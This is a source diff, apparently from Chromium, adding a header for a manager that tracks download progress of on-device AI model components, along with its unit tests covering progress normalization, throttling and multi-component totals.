+#include "base/metrics/field_trial_params.h"
+#include "base/scoped_observation.h"
+#include "components/component_updater/component_updater_service.h"
+#include "components/optimization_guide/core/model_execution/on_device_capability.h"
+#include "mojo/public/cpp/bindings/remote.h"
+#include "services/on_device_model/public/mojom/download_observer.mojom.h"
+
+namespace optimization_guide {
+
+namespace features {
+
+// When enabled some amount of bytes will not be loadable when creating one of
+// the built-in AI APIs.
+BASE_DECLARE_FEATURE(kAIModelUnloadableProgress);
+extern const base::FeatureParam<int> kAIModelUnloadableProgressBytes;
+
+}  // namespace features
+
+static constexpr int kNormalizedDownloadProgressMax = 0x10000;
+
+// Normalizes the model download progress by scaling `bytes_so_far` from
+// having `total_bytes` its max to having a `kNormalizedDownloadProgressMax`
+// as its max.
+int64_t NormalizeModelDownloadProgress(int64_t bytes_so_far,
+                                       int64_t total_bytes);
+
+class OnDeviceModelDownloadProgressManager
+    : public component_updater::ServiceObserver {
+ public:
+  OnDeviceModelDownloadProgressManager(
+      component_updater::ComponentUpdateService* component_update_service,
+      base::flat_set<std::string> component_ids,
+      bool enable_unloadable_progress = true);
+  ~OnDeviceModelDownloadProgressManager() override;
+
+  // Not copyable or movable.
+  OnDeviceModelDownloadProgressManager(
+      const OnDeviceModelDownloadProgressManager&) = delete;
+  OnDeviceModelDownloadProgressManager& operator=(
+      const OnDeviceModelDownloadProgressManager&) = delete;
+
+  // Adds a `DownloadObserver` to send progress updates. Each time there is a
+  // new `PendingRemote<DownloadObserver>` added, a new Reporter will be created
+  // to observe the progress updates from all components and report to the added
+  // observer.
+  void AddObserver(mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
+                       observer_remote);
+
+  AddDownloadProgressObserverCallback GetAddObserverCallback();
+
+ private:
+  // Observes progress updates from `components`, filters and processes them,
+  // and reports the result to `observer_remote`. Each Reporter may have
+  // different |total_bytes_| based on when it is created.
+  class Reporter {
+   public:
+    Reporter(OnDeviceModelDownloadProgressManager& manager,
+             mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
+                 observer_remote);
+    ~Reporter();
+
+    // Not copyable or movable.
+    Reporter(const Reporter&) = delete;
+    Reporter& operator=(const Reporter&) = delete;
+
+    void SetTotalBytes(int64_t total_bytes);
+    void UpdateProgress(int64_t downloaded_bytes_delta);
+
+   private:
+    void OnRemoteDisconnect();
+
+    // `manager_` owns `this`.
+    base::raw_ref<OnDeviceModelDownloadProgressManager> manager_;
+
+    mojo::Remote<on_device_model::mojom::DownloadObserver> observer_remote_;
+
+    int64_t downloaded_bytes_ = 0;
+    std::optional<int64_t> total_bytes_;
+
+    bool has_fired_zero_progress_ = false;
+    int64_t last_reported_progress_ = 0;
+    base::TimeTicks last_progress_time_;
+
+    base::WeakPtrFactory<Reporter> weak_ptr_factory_{this};
+  };
+
+  struct DownloadProgressInfo {
+    std::optional<int64_t> downloaded_bytes;
+    std::optional<int64_t> total_bytes;
+  };
+
+  FRIEND_TEST_ALL_PREFIXES(OnDeviceModelDownloadProgressManagerTest,
+                           ReporterIsDestroyedWhenRemoteIsDisconnected);
+  FRIEND_TEST_ALL_PREFIXES(OnDeviceModelDownloadProgressManagerTest,
+                           AddNewObserverAfterRemoveObserver);
+
+  int GetNumberOfReporters() const;
+
+  void StartObserver();
+  // component_updater::ServiceObserver:
+  void OnEvent(const component_updater::CrxUpdateItem& item) override;
+
+  void SetDownloadProgress(DownloadProgressInfo& progress,
+                           int64_t downloaded_bytes,
+                           int64_t total_bytes);
+
+  void RemoveReporter(Reporter* reporter);
+
+  std::optional<int64_t> CalculateTotalBytes();
+  int64_t GetDownloadedBytes() const;
+  int64_t CalculateLeftoverBytes() const;
+
+  std::optional<int64_t> components_total_bytes_;
+  int64_t never_load_component_bytes_ = 0;
+
+  raw_ref<component_updater::ComponentUpdateService> component_update_service_;
+  base::flat_set<std::unique_ptr<Reporter>, base::UniquePtrComparator>
+      reporters_;
+  std::unordered_map<std::string, DownloadProgressInfo> components_progress_;
+
+  base::ScopedObservation<component_updater::ComponentUpdateService,
+                          component_updater::ServiceObserver>
+      component_updater_observation_{this};
+
+  base::WeakPtrFactory<OnDeviceModelDownloadProgressManager> weak_ptr_factory_{
+      this};
+};
+
+}  // namespace optimization_guide
+
+#endif  // COMPONENTS_OPTIMIZATION_GUIDE_CORE_MODEL_EXECUTION_ON_DEVICE_MODEL_DOWNLOAD_PROGRESS_MANAGER_H_
diff --git a/components/optimization_guide/core/model_execution/on_device_model_download_progress_manager_unittest.cc b/components/optimization_guide/core/model_execution/on_device_model_download_progress_manager_unittest.cc
new file mode 100644
index 0000000..83fe9c4
--- /dev/null
+++ b/components/optimization_guide/core/model_execution/on_device_model_download_progress_manager_unittest.cc
@@ -0,0 +1,776 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.h"
+
+#include <cstdint>
+#include <memory>
+#include <utility>
+
+#include "base/barrier_closure.h"
+#include "base/run_loop.h"
+#include "base/test/gtest_util.h"
+#include "base/test/run_until.h"
+#include "base/test/scoped_feature_list.h"
+#include "base/test/task_environment.h"
+#include "components/optimization_guide/core/model_execution/test/fake_component_update_service.h"
+#include "components/optimization_guide/core/model_execution/test/mock_download_progress_observer.h"
+#include "components/optimization_guide/core/optimization_guide_features.h"
+#include "components/optimization_guide/core/optimization_guide_util.h"
+#include "testing/gmock/include/gmock/gmock-matchers.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace optimization_guide {
+
+using component_updater::CrxUpdateItem;
+using testing::_;
+using update_client::ComponentState;
+
+class OnDeviceModelDownloadProgressManagerTest : public testing::Test {
+ public:
+  OnDeviceModelDownloadProgressManagerTest() {
+    scoped_feature_list_.InitAndDisableFeature(
+        features::kAIModelUnloadableProgress);
+  }
+
+  ~OnDeviceModelDownloadProgressManagerTest() override = default;
+
+ protected:
+  // Send a download update.
+  void SendUpdate(FakeComponent& component,
+                  ComponentState state,
+                  uint64_t downloaded_bytes) {
+    component_update_service_.SendUpdate(
+        component.CreateUpdateItem(state, downloaded_bytes));
+  }
+
+  void SendUpdate(FakeComponent& component, uint64_t downloaded_bytes) {
+    SendUpdate(component, ComponentState::kDownloading, downloaded_bytes);
+  }
+
+  void FastForwardBy(base::TimeDelta delta) {
+    task_environment_.FastForwardBy(delta);
+  }
+
+  FakeComponent& CreateComponent(std::string id, uint64_t total_bytes) {
+    auto [iter, emplaced] = fake_components_.try_emplace(id, id, total_bytes);
+    CHECK(emplaced);
+    return iter->second;
+  }
+
+  FakeComponentUpdateService component_update_service_;
+
+ private:
+  void SetUp() override {
+    EXPECT_CALL(component_update_service_, GetComponentDetails(_, _))
+        .WillRepeatedly([&](const std::string& id, CrxUpdateItem* item) {
+          auto iter = fake_components_.find(id);
+          if (iter == fake_components_.end()) {
+            return false;
+          }
+
+          if (iter->second.downloaded_bytes() == iter->second.total_bytes()) {
+            *item = iter->second.CreateUpdateItem(
+                update_client::ComponentState::kUpdated,
+                iter->second.total_bytes());
+          } else {
+            *item = iter->second.CreateUpdateItem(
+                update_client::ComponentState::kNew, 0);
+          }
+
+          return true;
+        });
+  }
+
+  base::test::ScopedFeatureList scoped_feature_list_;
+  std::map<std::string, FakeComponent> fake_components_;
+
+  base::test::SingleThreadTaskEnvironment task_environment_{
+      base::test::TaskEnvironment::TimeSource::MOCK_TIME};
+};
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       DoesntReceiveUpdatesForNonDownloadEvents) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Doesn't receive any update for these event states.
+  for (const auto state : {
+           ComponentState::kNew,
+           ComponentState::kChecking,
+           ComponentState::kCanUpdate,
+           ComponentState::kUpdated,
+           ComponentState::kUpdateError,
+           ComponentState::kRun,
+       }) {
+    SendUpdate(component, state, 10);
+    observer.ExpectNoUpdate();
+    FastForwardBy(base::Milliseconds(51));
+  }
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       DoesntReceiveUpdatesForEventsWithNegativeDownloadedBytes) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Doesn't receive an update when the downloaded bytes are negative.
+  SendUpdate(component, -1);
+  observer.ExpectNoUpdate();
+  FastForwardBy(base::Milliseconds(51));
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       DoesntReceiveUpdatesForEventsWithNegativeTotalBytes) {
+  FakeComponent& component = CreateComponent("component_id", -1);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Doesn't receive an update when the total bytes are negative.
+  SendUpdate(component, 0);
+  observer.ExpectNoUpdate();
+  FastForwardBy(base::Milliseconds(51));
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       DoesntReceiveUpdatesForComponentsNotObserving) {
+  FakeComponent& component_observed = CreateComponent("component_id1", 100);
+  FakeComponent& component_not_observed = CreateComponent("component_id2", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component_observed.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Doesn't receive any update for these event states.
+  SendUpdate(component_not_observed, 10);
+  observer.ExpectNoUpdate();
+  FastForwardBy(base::Milliseconds(51));
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       ObservesComponentsMidDownload) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+  MockDownloadProgressObserver observer1;
+  MockDownloadProgressObserver observer2;
+
+  // First, `observer1` observes `component`.
+  manager.AddObserver(observer1.BindNewPipeAndPassRemote());
+
+  // Only `observer1` will receive this update since `observer2` is not
+  // observing.
+  SendUpdate(component, 0);
+  observer1.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+  observer2.ExpectNoUpdate();
+
+  // Update the download bytes, and only `observer1` will receive this update.
+  uint64_t downloaded_bytes = 45;
+  FastForwardBy(base::Milliseconds(51));
+  SendUpdate(component, downloaded_bytes);
+  observer1.ExpectReceivedNormalizedUpdate(downloaded_bytes,
+                                           component.total_bytes());
+  observer2.ExpectNoUpdate();
+
+  // Now both `observer1` and `observer2` are observing `component`.
+  // `observer2` haven't got any update, so no update notified.
+  // For `observer2`, the total bytes will be the component's total bytes minus
+  // downloaded bytes.
+  manager.AddObserver(observer2.BindNewPipeAndPassRemote());
+
+  // Send the first update for `observer2` waiting more than 50ms so that
+  // both observers receive it.
+  constexpr int64_t update1_for_observer2 = 60;
+  FastForwardBy(base::Milliseconds(51));
+  SendUpdate(component, update1_for_observer2);
+  {
+    base::RunLoop run_loop;
+    base::RepeatingClosure update_callback =
+        base::BarrierClosure(2, run_loop.QuitClosure());
+
+    // `observer1` should still be normalized against the total bytes of the
+    // component.
+    observer1.ExpectReceivedNormalizedUpdate(
+        update1_for_observer2, component.total_bytes(), update_callback);
+    // This is `observer2`'s first update so it should receive zero and be
+    // normalized against the remaining bytes.
+    observer2.ExpectReceivedNormalizedUpdate(
+        0, component.total_bytes() - downloaded_bytes, update_callback);
+
+    run_loop.Run();
+  }
+
+  // Send a second update for `observer2` waiting more than 50ms so that
+  // both observers receive it.
+  constexpr int64_t update2_for_observer2 = 75;
+  FastForwardBy(base::Milliseconds(51));
+  SendUpdate(component, update2_for_observer2);
+  {
+    base::RunLoop run_loop;
+    base::RepeatingClosure update_callback =
+        base::BarrierClosure(2, run_loop.QuitClosure());
+
+    // `observer1` should still be normalized against the total bytes of the
+    // component.
+    observer1.ExpectReceivedNormalizedUpdate(
+        update2_for_observer2, component.total_bytes(), update_callback);
+    // `observer2` should still be normalized against the remaining bytes it
+    // observed on its first update.
+    observer2.ExpectReceivedNormalizedUpdate(
+        update2_for_observer2 - downloaded_bytes,
+        component.total_bytes() - downloaded_bytes, update_callback);
+
+    run_loop.Run();
+  }
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       DownloadedBytesWontExceedTotalBytes) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Send a zero, so that the `OnDeviceModelDownloadProgressManager` sends the
+  // first update. This ensures that the already downloaded bytes is zero.
+  SendUpdate(component, 0);
+  observer.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+  FastForwardBy(base::Milliseconds(51));
+
+  // Sending an update that exceeds the component's total bytes is clamped to
+  // the component's total bytes.
+  SendUpdate(component, component.total_bytes() * 2);
+  observer.ExpectReceivedNormalizedUpdate(component.total_bytes(),
+                                          component.total_bytes());
+  FastForwardBy(base::Milliseconds(51));
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       ReporterIsDestroyedWhenRemoteIsDisconnected) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  // Should start with no reporters.
+  EXPECT_EQ(manager.GetNumberOfReporters(), 0);
+
+  {
+    // Adding an Observer, should create a reporter.
+    MockDownloadProgressObserver observer1;
+    manager.AddObserver(observer1.BindNewPipeAndPassRemote());
+    EXPECT_EQ(manager.GetNumberOfReporters(), 1);
+
+    {
+      // Adding an Observer, should create a reporter.
+      MockDownloadProgressObserver observer2;
+      manager.AddObserver(observer2.BindNewPipeAndPassRemote());
+      EXPECT_EQ(manager.GetNumberOfReporters(), 2);
+    }
+    // `manager` should have destroyed the `Reporter` associated with
+    // `observer2`.
+    ASSERT_TRUE(base::test::RunUntil(
+        [&]() { return manager.GetNumberOfReporters() == 1; }));
+  }
+  // `manager` should have destroyed the `Reporter` associated with
+  // `observer1`.
+  ASSERT_TRUE(base::test::RunUntil(
+      [&]() { return manager.GetNumberOfReporters() == 0; }));
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest, FirstUpdateIsReportedAsZero) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  // The first update should be reported as zero. And `total_bytes` should
+  // always be `kNormalizedProgressMax` (0x10000).
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  SendUpdate(component, 10);
+  observer.ExpectReceivedUpdate(0, kNormalizedDownloadProgressMax);
+
+  // No other events should be fired.
+  FastForwardBy(base::Milliseconds(51));
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest, ProgressIsNormalized) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Should receive the first update.
+  SendUpdate(component, 0);
+  observer.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // The second update should have its downloaded_bytes normalized.
+  uint64_t downloaded_bytes = 15;
+  uint64_t normalized_downloaded_bytes =
+      NormalizeModelDownloadProgress(downloaded_bytes, component.total_bytes());
+
+  SendUpdate(component, downloaded_bytes);
+  observer.ExpectReceivedNormalizedUpdate(normalized_downloaded_bytes,
+                                          kNormalizedDownloadProgressMax);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       AlreadyDownloadedBytesArentIncludedInProgress) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  uint64_t already_downloaded_bytes = 10;
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Send the first update with the already downloaded bytes for `component`.
+  SendUpdate(component, already_downloaded_bytes);
+  observer.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // The second update shouldn't include any already downloaded bytes.
+  uint64_t downloaded_bytes = already_downloaded_bytes + 5;
+  uint64_t normalized_downloaded_bytes = NormalizeModelDownloadProgress(
+      downloaded_bytes - already_downloaded_bytes,
+      component.total_bytes() - already_downloaded_bytes);
+  SendUpdate(component, downloaded_bytes);
+  observer.ExpectReceivedNormalizedUpdate(normalized_downloaded_bytes,
+                                          kNormalizedDownloadProgressMax);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       MaxIsSentWhenDownloadedBytesEqualsToTotalBytes) {
+  FakeComponent& component =
+      CreateComponent("component_id", kNormalizedDownloadProgressMax * 5);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Should receive the zero update.
+  SendUpdate(component, 10);
+  observer.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // Sending less than the total bytes should not send the
+  // `kNormalizedDownloadProgressMax`.
+  SendUpdate(component, component.total_bytes() - 1);
+  observer.ExpectReceivedUpdate(kNormalizedDownloadProgressMax - 1,
+                                kNormalizedDownloadProgressMax);
+
+  // Sending the total bytes should send the `kNormalizedDownloadProgressMax`.
+  SendUpdate(component, component.total_bytes());
+  observer.ExpectReceivedUpdate(kNormalizedDownloadProgressMax,
+                                kNormalizedDownloadProgressMax);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       MaxIsSentWhenDownloadedBytesEqualsToTotalBytesForFirstUpdate) {
+  FakeComponent& component =
+      CreateComponent("component_id", kNormalizedDownloadProgressMax * 5);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // If the first update has downloaded bytes equal to total bytes, then both
+  // the the zero and max events should be fired.
+  SendUpdate(component, component.total_bytes());
+  observer.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+  observer.ExpectReceivedUpdate(kNormalizedDownloadProgressMax,
+                                kNormalizedDownloadProgressMax);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       ReceiveZeroAndHundredPercentForNoComponents) {
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               base::flat_set<std::string>{});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  observer.ExpectReceivedNormalizedUpdate(0, kNormalizedDownloadProgressMax);
+  observer.ExpectReceivedNormalizedUpdate(kNormalizedDownloadProgressMax,
+                                          kNormalizedDownloadProgressMax);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest, OnlyReceivesUpdatesEvery50ms) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Should receive the first update.
+  SendUpdate(component, 0);
+  observer.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+
+  // Shouldn't receive this update since it hasn't been 50ms since the last
+  // update.
+  SendUpdate(component, 15);
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // Should receive the this since it's been over 50ms since the last update.
+  SendUpdate(component, 20);
+  observer.ExpectReceivedNormalizedUpdate(20, component.total_bytes());
+
+  // Shouldn't receive this update since it hasn't been 50ms since the last
+  // update.
+  SendUpdate(component, 25);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       OnlyReceivesUpdatesForNewProgress) {
+  // Set its total to twice kNormalizedProgressMax so that there are two raw
+  // download progresses that map to every normalized download progress.
+  FakeComponent& component =
+      CreateComponent("component_id", kNormalizedDownloadProgressMax * 2);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Should receive the first update as zero.
+  SendUpdate(component, 0);
+  observer.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // Should be able to receive this progress event since we haven't seen
+  // it before.
+  SendUpdate(component, 10);
+  observer.ExpectReceivedNormalizedUpdate(10, component.total_bytes());
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // Shouldn't be able to receive these progress updates since they're not
+  // greater than the last progress update.
+  SendUpdate(component, 10);
+  SendUpdate(component, 9);
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // Shouldn't be able to receive this progress event since it normalizes
+  // to a progress we've seen.
+  CHECK_EQ(NormalizeModelDownloadProgress(10, component.total_bytes()),
+           NormalizeModelDownloadProgress(11, component.total_bytes()));
+  SendUpdate(component, 11);
+  FastForwardBy(base::Milliseconds(51));
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest, ShouldReceive100percent) {
+  FakeComponent& component = CreateComponent("component_id", 100);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Should receive the first update.
+  SendUpdate(component, 10);
+  observer.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
+
+  // Should receive the second update since it's 100% even though 50ms haven't
+  // elapsed.
+  SendUpdate(component, component.total_bytes());
+  observer.ExpectReceivedNormalizedUpdate(component.total_bytes(),
+                                          component.total_bytes());
+
+  // No other events should be fired.
+  FastForwardBy(base::Milliseconds(51));
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       AllComponentsMustBeObservedBeforeSendingEvents) {
+  FakeComponent& component1 = CreateComponent("component_id1", 100);
+  FakeComponent& component2 = CreateComponent("component_id2", 1000);
+  OnDeviceModelDownloadProgressManager manager(
+      &component_update_service_, {component1.id(), component2.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Shouldn't receive this updates since we haven't observed `component2` yet.
+  SendUpdate(component1, 0);
+  observer.ExpectNoUpdate();
+  FastForwardBy(base::Milliseconds(51));
+
+  // Should receive this update since now we've seen both components.
+  SendUpdate(component2, 10);
+  uint64_t total_bytes = component1.total_bytes() + component2.total_bytes();
+  observer.ExpectReceivedNormalizedUpdate(0, total_bytes);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       ProgressIsNormalizedAgainstTheSumOfTheComponentsTotalBytes) {
+  FakeComponent& component1 = CreateComponent("component_id1", 100);
+  FakeComponent& component2 = CreateComponent("component_id2", 1000);
+  OnDeviceModelDownloadProgressManager manager(
+      &component_update_service_, {component1.id(), component2.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Trigger the first event by sending updates for components 1 and 2.
+  uint64_t component1_downloaded_bytes = 0;
+  SendUpdate(component1, component1_downloaded_bytes);
+  uint64_t component2_downloaded_bytes = 0;
+  SendUpdate(component2, component2_downloaded_bytes);
+  observer.ExpectReceivedUpdate(0, kNormalizedDownloadProgressMax);
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // Component 2 receives another 5 bytes.
+  component2_downloaded_bytes += 5;
+  SendUpdate(component2, component2_downloaded_bytes);
+
+  // Should receive an update of the sum of component1 and component2's
+  // downloaded bytes normalized with the sum of their total_bytes
+  uint64_t downloaded_bytes =
+      component1_downloaded_bytes + component2_downloaded_bytes;
+  uint64_t total_bytes = component1.total_bytes() + component2.total_bytes();
+  uint64_t normalized_downloaded_bytes =
+      NormalizeModelDownloadProgress(downloaded_bytes, total_bytes);
+
+  observer.ExpectReceivedUpdate(normalized_downloaded_bytes,
+                                kNormalizedDownloadProgressMax);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       AlreadyDownloadedBytesArentIncludedInProgressForMultipleComponents) {
+  FakeComponent& component1 = CreateComponent("component_id1", 100);
+  FakeComponent& component2 = CreateComponent("component_id2", 1000);
+  OnDeviceModelDownloadProgressManager manager(
+      &component_update_service_, {component1.id(), component2.id()});
+  int64_t already_downloaded_bytes = 0;
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Send an update for component 1.
+  uint64_t component1_downloaded_bytes = 5;
+  already_downloaded_bytes += 5;
+  SendUpdate(component1, component1_downloaded_bytes);
+
+  // Send a second update for component 1. This increases the already downloaded
+  // bytes that shouldn't be included in the progress.
+  component1_downloaded_bytes += 5;
+  already_downloaded_bytes += 5;
+  SendUpdate(component1, component1_downloaded_bytes);
+
+  // Send an update for component 2 triggering the zero event. This increases
+  // the already downloaded bytes that shouldn't be included in the progress.
+  uint64_t component2_downloaded_bytes = 10;
+  already_downloaded_bytes += 10;
+  SendUpdate(component2, component2_downloaded_bytes);
+  observer.ExpectReceivedUpdate(0, kNormalizedDownloadProgressMax);
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // Component 2 receives another 5 bytes.
+  component2_downloaded_bytes += 5;
+  SendUpdate(component2, component2_downloaded_bytes);
+
+  // The progress we receive shouldn't include the `already_downloaded_bytes`.
+  uint64_t downloaded_bytes =
+      component1_downloaded_bytes + component2_downloaded_bytes;
+  uint64_t total_bytes = component1.total_bytes() + component2.total_bytes();
+  uint64_t normalized_downloaded_bytes = NormalizeModelDownloadProgress(
+      downloaded_bytes - already_downloaded_bytes,
+      total_bytes - already_downloaded_bytes);
+
+  observer.ExpectReceivedUpdate(normalized_downloaded_bytes,
+                                kNormalizedDownloadProgressMax);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       AlreadyInstalledComponentsAreNotObserved) {
+  FakeComponent& component1 = CreateComponent("component_id1", 100);
+  FakeComponent& component2 = CreateComponent("component_id2", 1000);
+  OnDeviceModelDownloadProgressManager manager(
+      &component_update_service_, {component1.id(), component2.id()});
+  SendUpdate(component1, 100);
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Should receive this despite not observing component 1 yet since component1
+  // is already downloaded.
+  SendUpdate(component2, 0);
+  observer.ExpectReceivedNormalizedUpdate(0, component2.total_bytes());
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       ProgressIsNormalizedAgainstOnlyUninstalledComponents) {
+  FakeComponent& component1 = CreateComponent("component_id1", 100);
+  FakeComponent& component2 = CreateComponent("component_id2", 1000);
+  FakeComponent& component3 = CreateComponent("component_id3", 500);
+  OnDeviceModelDownloadProgressManager manager(
+      &component_update_service_,
+      {component1.id(), component2.id(), component3.id()});
+  SendUpdate(component1, 100);
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  // Fire the zero progress event by sending events for component 2 and 3.
+  SendUpdate(component2, 0);
+  SendUpdate(component3, 0);
+  observer.ExpectReceivedUpdate(0, kNormalizedDownloadProgressMax);
+
+  // Wait more than 50ms so we can receive the next event.
+  FastForwardBy(base::Milliseconds(51));
+
+  // Progress should be normalized against only components 2 and 3 since 1 is
+  // already installed.
+  SendUpdate(component2, 10);
+  uint64_t total_bytes = component2.total_bytes() + component3.total_bytes();
+  observer.ExpectReceivedNormalizedUpdate(10, total_bytes);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest,
+       ReceiveZeroAndHundredPercentWhenEverythingIsInstalled) {
+  FakeComponent& component1 = CreateComponent("component_id1", 100);
+  FakeComponent& component2 = CreateComponent("component_id2", 1000);
+  OnDeviceModelDownloadProgressManager manager(
+      &component_update_service_, {component1.id(), component2.id()});
+  SendUpdate(component1, 100);
+  SendUpdate(component2, 1000);
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  observer.ExpectReceivedNormalizedUpdate(0, kNormalizedDownloadProgressMax);
+  observer.ExpectReceivedNormalizedUpdate(kNormalizedDownloadProgressMax,
+                                          kNormalizedDownloadProgressMax);
+}
+
+TEST_F(OnDeviceModelDownloadProgressManagerTest, UnloadableProgressBytes) {
+  base::test::ScopedFeatureList scoped_feature_list;
+  scoped_feature_list.InitAndEnableFeatureWithParameters(
+      features::kAIModelUnloadableProgress,
+      {{"ai_model_unloadable_progress_bytes", "500"}});
+
+  FakeComponent& component = CreateComponent("component_id", 1000);
+  OnDeviceModelDownloadProgressManager manager(&component_update_service_,
+                                               {component.id()});
+
+  MockDownloadProgressObserver observer;
+  manager.AddObserver(observer.BindNewPipeAndPassRemote());
+
+  SendUpdate(component, 0);
+  // The total bytes should include the extra unloadable progress bytes.
+  observer.ExpectReceivedNormalizedUpdate(0, component.total_bytes() + 500);
+}
+
